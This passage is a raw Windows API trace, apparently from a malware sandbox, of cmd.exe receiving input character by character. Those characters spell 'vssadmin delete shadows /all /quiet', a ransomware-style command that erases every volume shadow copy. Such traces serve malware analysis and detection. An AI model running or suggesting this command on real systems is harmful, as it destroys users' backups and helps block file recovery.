_Format="%c", _ArgList=0x15f268 | out: _Buffer=">") returned 1 [0132.167] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.167] GetFileType (hFile=0xf4) returned 0x3 [0132.167] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.167] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0132.167] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x15f258, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f258*=0x14, lpOverlapped=0x0) returned 1 [0132.167] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.167] GetFileType (hFile=0xe8) returned 0x3 [0132.167] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.167] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.167] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0132.167] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.167] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.167] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0132.167] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.167] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.167] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0132.167] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.167] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.167] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.168] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.168] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0132.168] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.169] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0132.169] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.169] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.170] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0132.170] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.170] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.170] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0132.171] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.171] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.171] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.171] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.172] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.172] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0132.172] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.172] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.173] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0132.173] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0132.173] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.173] GetFileType (hFile=0xe8) returned 0x3 [0132.173] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.173] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.173] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.173] GetFileType (hFile=0xf4) returned 0x3 [0132.173] _get_osfhandle (_FileHandle=1) returned 